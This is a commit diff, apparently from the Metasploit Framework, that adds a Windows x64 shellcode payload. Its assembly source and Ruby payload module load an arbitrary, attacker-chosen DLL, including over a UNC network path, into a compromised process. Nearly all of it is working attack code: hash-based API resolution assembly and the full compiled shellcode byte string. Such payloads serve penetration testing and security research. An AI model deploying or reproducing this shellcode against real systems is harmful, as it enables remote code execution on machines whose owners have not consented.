Merge pull request #113 from scriptjunkie/master

Add x64 LoadLibrary payload

external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm

@@ -0,0 +1,24 @@
+;-----------------------------------------------------------------------------;
+; Author: scriptjunkie (scriptjunkie[at]scriptjunkie[dot]us),
+;    Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2003
+; 17 Jan 2012
+;-----------------------------------------------------------------------------;
+
+[BITS 64]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+delta:                   ;
+%include "./src/block/block_api.asm" ; 
+start:                   ;
+  pop rbp                ; Pop off the address of 'api_call' for calling later.
+  lea rcx, [ebp+libpath-delta]
+  mov r10d, 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
+  call rbp               ; LoadLibraryA( &libpath );
+	; Finish up with the EXITFUNK.
+%include "./src/block/block_exitfunk.asm"
+libpath:
+  ;db "funkystuff.dll", 0

modules/payloads/singles/windows/x64/loadlibrary.rb

@@ -0,0 +1,74 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+module Metasploit3
+
+	include Msf::Payload::Windows
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Windows x64 LoadLibrary Path',
+			'Version'       => '$Revision$',
+			'Description'   => 'Load an arbitrary x64 library path',
+			'Author'        => [ 'scriptjunkie', 'sf' ],
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'win',
+			'Arch'          => ARCH_X86_64,
+			'PayloadCompat' =>
+				{
+					'Convention' => '-http -https',
+				},
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'EXITFUNC' => [ 228, 'V' ]
+						},
+					'Payload' =>
+						"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
+						"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
+						"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
+						"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
+						"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" +
+						"\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" +
+						"\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" +
+						"\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" +
+						"\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" +
+						"\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" +
+						"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
+						"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
+						"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
+						"\xFF\xFF\x5D\x67\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" +
+						"\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5" +
+						"\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13" +
+						"\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
+				}
+			))
+		register_options(
+			[
+				OptString.new('DLL', [ true, "The library path to load (UNC is OK)" ]),
+			], self.class )
+	end
+
+	def generate
+		return super + dll_string + "\x00"
+	end
+
+	def dll_string
+		return datastore['DLL'] || ''
+	end
+
+end